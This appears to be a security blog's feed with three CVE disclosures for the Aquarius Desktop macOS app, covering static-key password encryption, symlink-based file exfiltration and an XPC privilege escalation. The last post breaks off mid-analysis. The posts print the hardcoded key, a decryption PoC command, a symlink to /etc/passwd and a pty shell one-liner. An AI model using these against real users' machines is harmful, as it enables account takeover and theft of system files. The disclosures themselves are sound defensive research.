<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-US"><generator uri="https://jekyllrb.com/" version="4.1.1">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" hreflang="en-US" /><updated>2026-01-15T15:50:28-05:00</updated><id>/feed.xml</id><title type="html">almightysec</title><subtitle>Specializing in Mobile (iOS/Android) and Web Security, Malware Analysis, and Exploit Development. Passionate about improving digital safety, I explore and share cybersecurity insights. Open to collaboration or discussions? Let's connect.</subtitle><author><name>Simon Bertrand</name></author><entry><title type="html">CVE-2025-65841 - Acustica Audio - Account Takeover via Weak Encryption and Insecure Storage in Aquarius Desktop macOS</title><link href="/Account-Takeover-via-Weak-Encryption/" rel="alternate" type="text/html" title="CVE-2025-65841 - Acustica Audio - Account Takeover via Weak Encryption and Insecure Storage in Aquarius Desktop macOS" /><published>2025-11-19T05:00:00-05:00</published><updated>2025-11-19T05:00:00-05:00</updated><id>/Account-Takeover-via-Weak-Encryption</id><content type="html" xml:base="/Account-Takeover-via-Weak-Encryption/"><![CDATA[<p><strong>Note:</strong> <em>No exploit code is released publicly, and the intent of this publication is to promote remediation and improve the security posture of the affected software. This disclosure follows the 90-day industry-standard timeline for responsible reporting. Want the details? Keep scrolling. The full timeline and contact history are available further down the page.</em></p>

<h2 id="introduction">Introduction</h2>

<p>Welcome back!</p>

<p><em>This is post 2 of 3 in my security review of the Aquarius Desktop application.</em></p>

<p>After finding the local privilege escalation vulnerability in the Aquarius Desktop’s HelperTool XPC service, I continued digging into the application’s security design. This time, the focus shifted from privilege escalation to how the application handles authentication and persistence and what I found was equally concerning.</p>

<p>In this second part of my Aquarius Desktop analysis, I discovered that the app stores user credentials in a local configuration file (<code class="language-plaintext highlighter-rouge">aquarius.settings</code>) using weak encryption and without any device binding or integrity checks. This design allows an attacker to either exfiltrate the file to gain full account access on another machine, or decrypt the stored password entirely offline using a simple script.</p>

<p>While this mechanism appears to have been implemented to improve usability which enables producers to access their plugins across multiple systems, it ultimately introduces a severe account takeover risk. In this post, I’ll break down how the vulnerability works, why the encryption fails to protect users, and how it can be remediated without sacrificing convenience for legitimate users.</p>

<h2 id="vulnerability-overview">Vulnerability Overview</h2>

<p>Now, this vulnerability is quite interesting. The Aquarius Desktop application stores user authentication data in a file called <code class="language-plaintext highlighter-rouge">aquarius.settings</code> located at:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/Library/Application Support/Aquarius/aquarius.settings
</code></pre></div></div>

<p>This file includes sensitive fields such as:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;USERNAME&gt;</span>
<span class="nt">&lt;OLDUSERNAME&gt;</span>
<span class="nt">&lt;PASSWORD&gt;</span>
[...]
</code></pre></div></div>

<p align="center"> 
<img src="aquariussettings.png" width="1000" />
</p>

<p>The problem lies in how this file is handled:</p>
<ul>
  <li>It is not cryptographically bound to the device.</li>
  <li>It lacks integrity validation, making it fully portable.</li>
  <li>The user’s password is encrypted with a static Blowfish key and ECB mode, allowing offline decryption.</li>
</ul>

<p>For the account takeover via file import, an attacker with access to the <code class="language-plaintext highlighter-rouge">aquarius.settings</code> file (via local access, malware, or chaining with the previous LPE exploit) can simply copy it to another machine, relaunch Aquarius Desktop, and gain full authenticated access to the victim’s account <strong>without ever needing their credentials.</strong></p>

<p>The app assumes that the presence of this file means the user is already authenticated so it restores the session without checking anything.</p>

<p>Think of it this way… anyone with access to the <code class="language-plaintext highlighter-rouge">aquarius.settings</code> file can take over your account. All they need is the encrypted string from the <code class="language-plaintext highlighter-rouge">&lt;PASSWORD&gt;</code> field because Aquarius “protects” it using a static Blowfish key hardcoded directly in the binary:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>potkseD suoirauqA
</code></pre></div></div>

<p>This key is embedded in the binary and can be extracted via dynamic analysis (e.g., LLDB, etc). Because the Blowfish implementation uses ECB mode without any salt or IV, and the key isn’t tied to a specific user or device, the encryption is completely reversible.</p>

<p>I developed a Python script that:</p>
<ul>
  <li>Takes the base64-encoded string from aquarius.settings</li>
  <li>Applies the static Blowfish key</li>
  <li>Reverses 32-bit endianness (a quirk of how JUCE structures its data)</li>
  <li>Outputs the original password in plaintext</li>
</ul>

<p>This allows for offline password cracking in seconds, potentially enabling credential reuse across services if the same password is used elsewhere.</p>

<h2 id="proof-of-concept">Proof of Concept</h2>

<p>The password value in <code class="language-plaintext highlighter-rouge">aquarius.settings</code> is encrypted using a statically derived Blowfish key. Dynamic analysis with LLDB and disassembly of the <code class="language-plaintext highlighter-rouge">juce::BlowFish::encrypt / decrypt</code> methods confirmed the use of Blowfish in ECB mode with a hardcoded key. The password is encrypted and base64-encoded before being stored. We can set a breakpoint at <code class="language-plaintext highlighter-rouge">juce::BlowFish::encrypt</code> to revealed key input during runtime. Then, analysis of decrypted output revealed fixed 32-bit word reordering (endianness swap) and this mean the Blowfish key was static and not derived per user or per machine.</p>

<p>Looking at the LLDB debugging session, we can hit the breakpoint by triggering the <code class="language-plaintext highlighter-rouge">juce::BlowFish::encrypt</code> function. At the time of execution, register <code class="language-plaintext highlighter-rouge">x21</code> holds the encryption key used by the application “<code class="language-plaintext highlighter-rouge">potkseD suoirauqA</code>”. This is the static hardcoded Blowfish key for encryption operations. Also, registers <code class="language-plaintext highlighter-rouge">x22</code> and <code class="language-plaintext highlighter-rouge">x23</code> point to the cipher’s initialized <code class="language-plaintext highlighter-rouge">S-box</code> and <code class="language-plaintext highlighter-rouge">P-array</code> structures, showing that standard Blowfish internals are in use.</p>

<p align="center"> 
<img src="lldb.png" width="1000" />
</p>

<p>With the key pulled from memory (<code class="language-plaintext highlighter-rouge">potkseD suoirauqA</code>), I was able to decrypt the password stored in <code class="language-plaintext highlighter-rouge">aquarius.settings</code> using a short Python script that mirrors the app’s Blowfish routine. The script takes the base64-encoded string, applies the static key, and returns the original password in plain text all without needing access to the original device. If someone gets a copy of this file, they can recover the user’s password in seconds.</p>

<p>I intentionally used a long, messy password with spaces and symbols to prove that it doesn’t matter. Any password gets decrypted the same way.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 poc_cracking.py <span class="nt">-p</span> “Yf21qsqdjAeVYVdclDSAEfoaG2Ck8HdIyQPdnhg4/sSpHlcmWLR1BUd6NkYj7V6a74PR2VC/6QE<span class="o">=</span>“ <span class="nt">-k</span> “potkseD suoirauqA” <span class="nt">-a</span>
</code></pre></div></div>

<p align="center"> 
<img src="crack.png" width="1000" />
</p>

<p>Once you have the password, you can log in as the user with full access to their account, plugins, downloads, and anything else linked to it.</p>

<p>This can be chained with the HelperTool XPC Service Local Privilege Escalation in Aquarius Desktop macOS to extract the <code class="language-plaintext highlighter-rouge">aquarius.settings</code> file.</p>

<h2 id="remediation">Remediation</h2>

<p>To fix this issue without breaking usability, Aquarius Desktop should stop storing user passwords locally even in encrypted form. Instead, the application should:</p>
<ul>
  <li>Use device-bound session tokens: Replace stored passwords with short-lived authentication tokens that are cryptographically tied to the device they were issued on. If the <code class="language-plaintext highlighter-rouge">aquarius.settings</code> file is copied to another system, the token should become invalid.</li>
  <li>Adopt secure token storage: On macOS, use the Keychain to store sensitive authentication material. On Windows, use DPAPI. Never store secrets in plaintext files within user-writable directories.</li>
  <li>Implement integrity checks: Add digital signatures or HMAC verification for local auth files. This would make tampering or reuse across systems detectable and prevent silent account takeover.</li>
  <li>Leverage OAuth or refresh token flow: If cross-device access is required, use an authentication flow that allows secure re-authentication (e.g. OAuth2 + refresh tokens) rather than persisting long lived credentials.</li>
</ul>

<p>These changes would preserve the current usability benefits (seamless plugin access across systems) while removing the risk of file based account takeover and offline password cracking.</p>

<h2 id="disclosure-timeline">Disclosure timeline</h2>

<table style="width:100%; border-collapse: collapse; border: 1px solid #4a4d56;">
  <thead>
    <tr style="background-color:#222;">
      <th style="text-align:left; padding:8px;">Date</th>
      <th style="text-align:left; padding:8px;">Action</th>
    </tr>
  </thead>
  <tbody>
    <tr><td style="padding:8px;">August 2, 2025</td><td style="padding:8px;">Vulnerability discovered during local security analysis of Aquarius Desktop.</td></tr>
    <tr><td style="padding:8px;">August 3–5, 2025</td><td style="padding:8px;">Initial technical validation and proof-of-concept developed.</td></tr>
    <tr><td style="padding:8px;">August 7, 2025</td><td style="padding:8px;">Full vulnerability report prepared, including reproduction steps and secure remediation guidance.</td></tr>
    <tr><td style="padding:8px;">August 19, 2025</td><td style="padding:8px;">Responsible disclosure email sent to Acustica Audio with attached reports and researcher PGP key requesting a secure communication channel.</td></tr>
    <tr><td style="padding:8px;">August 23, 2025</td><td style="padding:8px;">No acknowledgment received from the vendor; follow-up email sent.</td></tr>
    <tr><td style="padding:8px;">November 13, 2025</td><td style="padding:8px;">Escalation attempt submitted to MITRE CVE Program for coordination assistance.</td></tr>
    <tr><td style="padding:8px;">November 19, 2025</td><td style="padding:8px;">No vendor response received; proceeding with public disclosure in accordance with a 90-day coordinated disclosure policy.</td></tr>
	<tr><td style="padding:8px;">November 28, 2025</td><td style="padding:8px;">CNA response received. CVE ID reserved: CVE-2025-65841</td></tr>
	<tr><td style="padding:8px;">December 3, 2025</td><td style="padding:8px;">CVE ID Published: CVE-2025-65841</td></tr>
  </tbody>
</table>]]></content><author><name>Simon Bertrand</name></author><category term="macOS" /><category term="Crypto" /><category term="takeover" /><category term="storage" /><summary type="html"><![CDATA[CVE-2025-65841 - Acustica Audio - Account Takeover via Weak Encryption and Insecure Storage in Aquarius Desktop macOS]]></summary></entry><entry><title type="html">CVE-2025-65843 - Acustica Audio - Insecure File Handling via Symlink in Aquarius Desktop macOS</title><link href="/Insecure-File-Handling-via-Symlink/" rel="alternate" type="text/html" title="CVE-2025-65843 - Acustica Audio - Insecure File Handling via Symlink in Aquarius Desktop macOS" /><published>2025-11-19T05:00:00-05:00</published><updated>2025-11-19T05:00:00-05:00</updated><id>/Insecure-File-Handling-via-Symlink</id><content type="html" xml:base="/Insecure-File-Handling-via-Symlink/"><![CDATA[<p><strong>Note:</strong> <em>No exploit code is released publicly, and the intent of this publication is to promote remediation and improve the security posture of the affected software. This disclosure follows the 90-day industry-standard timeline for responsible reporting. Want the details? Keep scrolling. The full timeline and contact history are available further down the page.</em></p>

<h2 id="introduction">Introduction</h2>

<p>Welcome back!</p>

<p><em>This is post 3 of 3 in my security review of the Aquarius Desktop application.</em></p>

<p>After finding the local privilege escalation in the HelperTool service and a weak-encryption credential flaw in <code class="language-plaintext highlighter-rouge">aquarius.settings</code>, I shifted my attention to another part of the application’s design: how Aquarius handles logs, diagnostics, and its “Create support data file” feature.</p>

<p>What I found was another security issue and this time concerned the filesystem.</p>

<p>In this third and final part of my analysis, I discovered that Aquarius Desktop blindly follows symbolic links inside its log directory (<code class="language-plaintext highlighter-rouge">~/Library/Logs/Aquarius</code>). Because these paths are never validated, an attacker can plant a malicious symlink and coerce the application into reading any file on the system and bundling it into the support ZIP archive. This turns a routine diagnostic feature into a file exfiltration vector.</p>

<p>Although this behavior was likely implemented to simplify debugging and support workflows, the lack of path sanitization introduces a local security risk. In this post, I’ll walk through how the vulnerability works, how it can be exploited in practice, and what changes Acustica can make to harden the application without disrupting support operations.</p>

<h2 id="vulnerability-overview">Vulnerability Overview</h2>

<p>The application have this feature called “Create support data file”. This feature mechanism bundles logs and diagnostic files into a ZIP archive before sending them to Acustica support in case it’s requested by them.</p>

<p>The problem with this feature is that Aquarius Desktop blindly follows symbolic links (symlinks) inside its log directory and includes whatever they point to in the generated support archive. Combined with the fact that the application writes ZIP files without using <code class="language-plaintext highlighter-rouge">O_NOFOLLOW</code>, this creates a symlink traversal and data exfiltration path.</p>

<p>Let’s go through the flow:</p>

<h3 id="log-folder-resolution">Log Folder Resolution</h3>

<p>The base log directory is obtained through <code class="language-plaintext highlighter-rouge">juce::FileLogger::getSystemLogFileFolder</code>, which hardcodes the path to the user’s logs folder:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">juce</span><span class="o">::</span><span class="n">FileLogger</span><span class="o">::</span><span class="n">getSystemLogFileFolder</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="n">param_1</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// Construct base path string "~/Library/Logs"</span>
    <span class="o">*</span><span class="n">local_28</span> <span class="o">=</span> <span class="mh">0x72617262694c2f7e</span><span class="p">;</span>                <span class="c1">// "~ / L i b r a r"</span>
    <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">puVar2</span> <span class="o">+</span> <span class="mi">3</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x6f4c2f79</span><span class="p">;</span>             <span class="c1">// "y / L o"</span>
    <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">puVar2</span> <span class="o">+</span> <span class="mh">0x1c</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x7367</span><span class="p">;</span> <span class="c1">// "g s"</span>
    <span class="o">*</span><span class="p">(</span><span class="n">undefined1</span> <span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">puVar2</span> <span class="o">+</span> <span class="mh">0x1e</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="c1">// Parse the absolute path into a juce::File</span>
    <span class="n">juce</span><span class="o">::</span><span class="n">File</span><span class="o">::</span><span class="n">parseAbsolutePath</span><span class="p">(</span><span class="n">param_1</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">local_28</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This confirms that Aquarius directly targets <code class="language-plaintext highlighter-rouge">~/Library/Logs</code> as the root location for logs to include in the support archive.</p>

<h3 id="file-enumeration-with-symlink-following">File Enumeration with Symlink Following</h3>

<p>Within <code class="language-plaintext highlighter-rouge">SupportTab::prepareSupportArchive</code>, Aquarius uses JUCE’s directory iterator to walk through log files:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Ghidra decompile (~line 373)</span>
<span class="n">juce</span><span class="o">::</span><span class="n">RangedDirectoryIterator</span> <span class="nf">iter</span><span class="p">(</span><span class="n">logDir</span><span class="p">,</span> <span class="nb">true</span><span class="p">,</span> <span class="s">"*.log"</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</code></pre></div></div>
<p>The second argument (<code class="language-plaintext highlighter-rouge">true</code>) corresponds to JUCE’s <code class="language-plaintext highlighter-rouge">followSymlinks</code> parameter. This instructs the iterator to traverse symbolic links as though they were regular files. Any attacker‑controlled symlink planted inside <code class="language-plaintext highlighter-rouge">~/Library/Logs/Aquarius</code> will be followed and resolved to its target, regardless of location or sensitivity.</p>

<h3 id="file-inclusion-into-zip-archive">File Inclusion into ZIP Archive</h3>

<p>Files collected by the iterator are subsequently added to a support ZIP using <code class="language-plaintext highlighter-rouge">juce::ZipFile::Builder</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Multiple call sites in prepareSupportArchive()</span>
<span class="n">juce</span><span class="o">::</span><span class="n">ZipFile</span><span class="o">::</span><span class="n">Builder</span><span class="o">::</span><span class="n">addFile</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="n">compressionLevel</span><span class="p">,</span> <span class="n">relativePath</span><span class="p">);</span>
</code></pre></div></div>

<p>Each File object is built from absolute paths parsed earlier with <code class="language-plaintext highlighter-rouge">juce::File::parseAbsolutePath</code>, which performs no checks against symlinks or device nodes.</p>

<h3 id="zip-creation-and-write-sink">ZIP Creation and Write Sink</h3>

<p>When it’s time to finalize the archive, Aquarius writes the ZIP with JUCE’s <code class="language-plaintext highlighter-rouge">FileOutputStream</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Ghidra decompile (~line 363)</span>
<span class="n">juce</span><span class="o">::</span><span class="n">FileOutputStream</span> <span class="nf">out</span><span class="p">(</span><span class="n">zipFile</span><span class="p">,</span> <span class="mh">0x4000</span><span class="p">);</span>
</code></pre></div></div>

<p>While this happens, JUCE invokes the macOS <code class="language-plaintext highlighter-rouge">open()</code> system call with flags like:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>O_WRONLY | O_CREAT | O_TRUNC
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">O_NOFOLLOW</code> is not used. This means that if the output path is a symlink, the OS will transparently dereference it. Combined with symlink following during enumeration, this creates a lack of path validation. According to Apple’s documentation (<code class="language-plaintext highlighter-rouge">FileDescriptor.OpenOptions.noFollow</code>), this option make sure that <code class="language-plaintext highlighter-rouge">open()</code> fails if the target is a symbolic link. By default, Aquarius uses <code class="language-plaintext highlighter-rouge">O_CREAT | O_WRONLY | O_TRUNC</code>, which permits transparent symlink traversal.</p>

<h2 id="proof-of-concept">Proof of Concept</h2>

<p>To demonstrate the impact of the symlink vulnerability, I developed a simple PoC attack against the Aquarius Desktop application’s “<strong>Create support data file</strong>” feature. By abusing insecure log handling, the PoC shows that arbitrary files can be exfiltrated into the generated ZIP archive.</p>

<p>So first step is to prepare a “malicious” symlink.</p>

<p>I created a symbolic link inside Aquarius’s log directory pointing to a sensitive system file.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ln</span> <span class="nt">-s</span> /etc/passwd ~/Users/[user]/Library/Logs/Aquarius/poc.log
</code></pre></div></div>

<p>Here, <code class="language-plaintext highlighter-rouge">poc.log</code> is a symlink to <code class="language-plaintext highlighter-rouge">/etc/passwd</code></p>

<p>Next, it’s just a matter of clicking on the  “<strong>Create support data file</strong>” feature in the application.</p>

<p align="center"> 
<img src="1.png" width="500" />
</p>

<p>This calls <code class="language-plaintext highlighter-rouge">SupportTab::prepareSupportArchive()</code>, which collects log files from <code class="language-plaintext highlighter-rouge">~/Library/Logs/Aquarius</code> and bundles them into a ZIP archive (<code class="language-plaintext highlighter-rouge">AquariusSupport-2025-[DATE].zip</code>).</p>

<p>Now, during the archive creation, the <code class="language-plaintext highlighter-rouge">juce::RangedDirectoryIterator</code> traverses the symlink (<code class="language-plaintext highlighter-rouge">poc.log</code>) and resolves it to <code class="language-plaintext highlighter-rouge">/etc/passwd</code> and <code class="language-plaintext highlighter-rouge">juce::ZipFile::Builder::addFile()</code> includes the dereferenced file in the archive.</p>

<p>The final ZIP archive, generated in Aquarius’s working directory, contains <code class="language-plaintext highlighter-rouge">/etc/passwd</code> under the name <code class="language-plaintext highlighter-rouge">poc.log</code>.</p>

<p>We can simply extract it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>unzip aquariusSupport-2025-[DATE].zip
<span class="nb">cat </span>Logs/poc.log
</code></pre></div></div>

<p>The fun part.</p>

<p>Assuming the attacker already gained a foothold via the <strong>HelperTool XPC service Privilege Escalation vulnerability</strong>, he can spawn an interactive shell by running <code class="language-plaintext highlighter-rouge">python3 -c 'import pty; pty.spawn("/bin/bash")'</code> and then navigate into the Aquarius log directory (<code class="language-plaintext highlighter-rouge">~/Users/[user]/Library/Logs/Aquarius</code>) and plant a malicious symbolic link pointing to a sensitive file such as <code class="language-plaintext highlighter-rouge">/etc/passwd</code>. When the victim subsequently triggers the “<strong>Create support data file</strong>” feature from the application’s Help menu, the vulnerable <code class="language-plaintext highlighter-rouge">prepareSupportArchive()</code> routine follows the attacker’s symlink and includes the contents of <code class="language-plaintext highlighter-rouge">/etc/passwd</code> inside the generated support ZIP. The attacker can then simply extract the archive and read the sensitive file under the attacker controlled name <code class="language-plaintext highlighter-rouge">poc.log</code>.</p>

<p align="center"> 
<img src="2.png" width="1000" />
</p>

<p>Reading the <code class="language-plaintext highlighter-rouge">/etc/passwd</code> file is as simple as running <code class="language-plaintext highlighter-rouge">cat /Logs/poc.log</code></p>

<p align="center"> 
<img src="3.png" width="1000" />
</p>

<h2 id="remediation">Remediation</h2>

<p>There’s various ways that the Aquarius support archive feature can be hardened to prevent symlink abuse and arbitrary file disclosure.</p>

<ul>
  <li>Disable Symlink Following using <code class="language-plaintext highlighter-rouge">juce::RangedDirectoryIterator</code> with <code class="language-plaintext highlighter-rouge">followSymlinks = false</code> to make sure that only real files are enumerated in the log directory.</li>
  <li>Perform Path Validation before adding any file into the ZIP, validate it with <code class="language-plaintext highlighter-rouge">lstat() / fstat()</code> to confirm it is a regular file (<code class="language-plaintext highlighter-rouge">S_IFREG</code>) located strictly within <code class="language-plaintext highlighter-rouge">~/Library/Logs/Aquarius</code>.</li>
  <li>Reject symlinks, hardlinks, device nodes, or paths that escape the intended directory. Use <code class="language-plaintext highlighter-rouge">O_NOFOLLOW</code> for File Opens where <code class="language-plaintext highlighter-rouge">FileOutputStream</code> or equivalent APIs are used, open files with <code class="language-plaintext highlighter-rouge">O_NOFOLLOW</code> (Swift: <code class="language-plaintext highlighter-rouge">.noFollow</code>) to prevent transparent dereferencing of symlinks. Apple’s documentation explicitly recommends this for secure file operations.</li>
  <li>Limit the support ZIP contents to a fixed allowlist of expected log files, rather than zipping the entire directory. This prevents attackers from introducing unexpected files or symlinks</li>
  <li>Add a warning to the user when the support archive contains unexpected or non‑standard files.</li>
</ul>

<h2 id="disclosure-timeline">Disclosure timeline</h2>

<table style="width:100%; border-collapse: collapse; border: 1px solid #4a4d56;">
  <thead>
    <tr style="background-color:#222;">
      <th style="text-align:left; padding:8px;">Date</th>
      <th style="text-align:left; padding:8px;">Action</th>
    </tr>
  </thead>
  <tbody>
    <tr><td style="padding:8px;">August 2, 2025</td><td style="padding:8px;">Vulnerability discovered during local security analysis of Aquarius Desktop.</td></tr>
    <tr><td style="padding:8px;">August 3–5, 2025</td><td style="padding:8px;">Initial technical validation and proof-of-concept developed.</td></tr>
    <tr><td style="padding:8px;">August 7, 2025</td><td style="padding:8px;">Full vulnerability report prepared, including reproduction steps and secure remediation guidance.</td></tr>
    <tr><td style="padding:8px;">August 19, 2025</td><td style="padding:8px;">Responsible disclosure email sent to Acustica Audio with attached reports and researcher PGP key requesting a secure communication channel.</td></tr>
    <tr><td style="padding:8px;">August 23, 2025</td><td style="padding:8px;">No acknowledgment received from the vendor; follow-up email sent.</td></tr>
    <tr><td style="padding:8px;">November 13, 2025</td><td style="padding:8px;">Escalation attempt submitted to MITRE CVE Program for coordination assistance.</td></tr>
    <tr><td style="padding:8px;">November 19, 2025</td><td style="padding:8px;">No vendor response received; proceeding with public disclosure in accordance with a 90-day coordinated disclosure policy.</td></tr>
    <tr><td style="padding:8px;">November 28, 2025</td><td style="padding:8px;">CNA response received. CVE ID reserved: CVE-2025-65843</td></tr>
    <tr><td style="padding:8px;">December 3, 2025</td><td style="padding:8px;">CVE ID Published: CVE-2025-65843</td></tr>
  </tbody>
</table>]]></content><author><name>Simon Bertrand</name></author><category term="macOS" /><category term="symlink" /><category term="file" /><category term="handling" /><summary type="html"><![CDATA[CVE-2025-65843 - Acustica Audio - Insecure File Handling via Symlink in Aquarius Desktop macOS]]></summary></entry><entry><title type="html">CVE-2025-65842 - Acustica Audio - HelperTool XPC Service Local Privilege Escalation in Aquarius Desktop on macOS</title><link href="/HelperTool-XPC-Service-Local-Privilege-Escalation/" rel="alternate" type="text/html" title="CVE-2025-65842 - Acustica Audio - HelperTool XPC Service Local Privilege Escalation in Aquarius Desktop on macOS" /><published>2025-11-19T03:00:00-05:00</published><updated>2025-11-19T03:00:00-05:00</updated><id>/HelperTool-XPC-Service-Local-Privilege-Escalation</id><content type="html" xml:base="/HelperTool-XPC-Service-Local-Privilege-Escalation/"><![CDATA[<p><strong>Note:</strong> <em>No exploit code is released publicly, and the intent of this publication is to promote remediation and improve the security posture of the affected software. This disclosure follows the 90-day industry-standard timeline for responsible reporting. Want the details? Keep scrolling. The full timeline and contact history are available further down the page.</em></p>

<h2 id="introduction">Introduction</h2>

<p><em>This is post 1 of 3 in my security review of the Aquarius Desktop application.</em></p>

<p>As an independent security researcher and avid user of the Acustica Audio plugins, I decided to do a security audit of Acustica Audio’s Aquarius Desktop application. During my research, I discovered a several vulnerabilties. This post is the first in a three part series detailing those findings.</p>

<p>In this part, I focus on a local privilege escalation affecting Aquarius Desktop’s <code class="language-plaintext highlighter-rouge">HelperTool</code> XPC service on macOS. This issue allows an unprivileged local user to execute arbitrary code with elevated privileges due to insecure interprocess communication (XPC) handling.</p>

<p>Although the <code class="language-plaintext highlighter-rouge">HelperTool</code> is intended to perform legitimate privileged actions such as installing or updating plugins, it fails to properly validate client requests. This oversight enables attackers to exploit the mechanism and escalate privileges to root.</p>

<p>This vulnerability is part of a larger set of design flaws I identified within the Aquarius Desktop ecosystem, particularly around privilege escalation and credential storage. In this post, I’ll walk through the technical analysis of the LPE, provide a proof of concept (PoC), and offer recommendations for remediation.</p>

<h2 id="vulnerability-overview">Vulnerability Overview</h2>

<p>The <code class="language-plaintext highlighter-rouge">HelperTool</code> is a privileged macOS XPC service bundled with the Aquarius Desktop application. Its purpose is to handle system level operations such as installing audio plugin components, managing licenses, and modifying protected directories that require administrative privileges.</p>

<p>During testing, I noticed that the <code class="language-plaintext highlighter-rouge">HelperTool</code> service was exposing a publicly accessible XPC interface that fails to properly authenticate the calling process. As a result, any local user on the system can send arbitrary messages to the <code class="language-plaintext highlighter-rouge">HelperTool</code>, causing it to execute privileged actions on their behalf.</p>

<p>This misconfiguration leads to a Local Privilege Escalation (LPE). An attacker with standard user permissions could exploit this flaw to gain root access or modify protected system files bypassing macOS’s security model.</p>

<h2 id="technical-analysis">Technical analysis</h2>

<p>Now, let me explain why the <code class="language-plaintext highlighter-rouge">HelperTool</code> is vulnerable, what I observed while reversing it, and why the flaw leads to local privilege escalation.</p>

<p>The Aquarius <code class="language-plaintext highlighter-rouge">HelperTool</code> is implemented as a privileged XPC service that runs with elevated privileges (the helper binary is installed and launched by the main application/installer). The helper exposes XPC methods intended to perform privileged operations on behalf of the main process (for example: install or remove files under protected locations, write license files, run installer commands or update the application).</p>

<p>During static and dynamic analysis I observed two primary implementation mistakes that together enable the escalation.</p>

<p>The helper accepts incoming XPC messages without verifying the identity or privileges of the caller. Proper XPC security normally relies on checking the caller’s audit token (e.g. <code class="language-plaintext highlighter-rouge">audit_token_t</code>) to confirm the bundle identifier or <code class="language-plaintext highlighter-rouge">PID</code> matches an expected trusted client or using Authorization Services / <code class="language-plaintext highlighter-rouge">SMJobBless</code> style mechanisms where only a signed and authorized process may request privileged operations.</p>

<p>In this helper, the code path that handles incoming requests does not perform an authorization check. Any local process that can connect to the helper’s Mach/XPC service is treated as trusted and may request privileged actions.</p>

<p>Also, the helper constructs command strings and forwards them to the system shell (or otherwise executes them) using APIs that are unsafe when supplied untrusted input. Concatenating user controlled data into a string passed to <code class="language-plaintext highlighter-rouge">system()</code> (or equivalent) allows an attacker to inject shell syntax and control execution flow… which turns the XPC method into a remote command execution when the caller is able to send arbitrary arguments.</p>

<p>Combined with the previous issue (no client authentication), this creates a path where a local, unprivileged user can trigger the helper to execute arbitrary commands with the elevated privileges of the helper process.</p>

<h3 id="insecure-xpc-connection-handling">Insecure XPC Connection Handling</h3>

<p>The <code class="language-plaintext highlighter-rouge">HelperTool</code> service registers an XPC listener and relies on <code class="language-plaintext highlighter-rouge">listener:shouldAcceptNewConnection:</code> to determine whether to allow new clients. In a secure design, this function should enforce strong client validation to verify the connecting process’s code signature, bundle identifier, or Team ID via the audit token.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* @class HelperTool */</span>
<span class="o">-</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">listener</span><span class="o">:</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">arg2</span> <span class="n">shouldAcceptNewConnection</span><span class="o">:</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">arg3</span> <span class="p">{</span>
    <span class="p">[</span><span class="n">arg3</span> <span class="n">retain</span><span class="p">];</span>
    <span class="n">NSLog</span><span class="p">(</span><span class="err">@</span><span class="s">"Acustica Helper Tool::shouldAcceptNewConnection"</span><span class="p">);</span>
    
    <span class="n">r21</span> <span class="o">=</span> <span class="p">[[</span><span class="n">NSXPCInterface</span> <span class="n">interfaceWithProtocol</span><span class="o">:</span><span class="err">@</span><span class="n">protocol</span><span class="p">(</span><span class="n">HelperToolProtocol</span><span class="p">)]</span> <span class="n">retain</span><span class="p">];</span>
    <span class="p">[</span><span class="n">r20</span> <span class="n">setExportedInterface</span><span class="o">:</span><span class="n">r21</span><span class="p">];</span>
    <span class="p">[</span><span class="n">r21</span> <span class="n">release</span><span class="p">];</span>
    
    <span class="p">[</span><span class="n">r20</span> <span class="n">setExportedObject</span><span class="o">:</span><span class="n">arg0</span><span class="p">];</span>
    <span class="p">[</span><span class="n">r20</span> <span class="n">resume</span><span class="p">];</span>
    <span class="p">[</span><span class="n">r20</span> <span class="n">release</span><span class="p">];</span>
    
    <span class="k">return</span> <span class="mh">0x1</span><span class="p">;</span> <span class="c1">// Always accepts</span>
<span class="p">}</span>
</code></pre></div></div>

<h5 id="no-client-authentication"><strong>No Client Authentication</strong></h5>

<p>The function checks only that <code class="language-plaintext highlighter-rouge">listener == self.listener</code> and that the <code class="language-plaintext highlighter-rouge">newConnection</code> object is non‑null. Beyond these checks, no verification of the connecting process is performed.</p>

<h5 id="no-audit-token-validation"><strong>No Audit Token Validation</strong></h5>

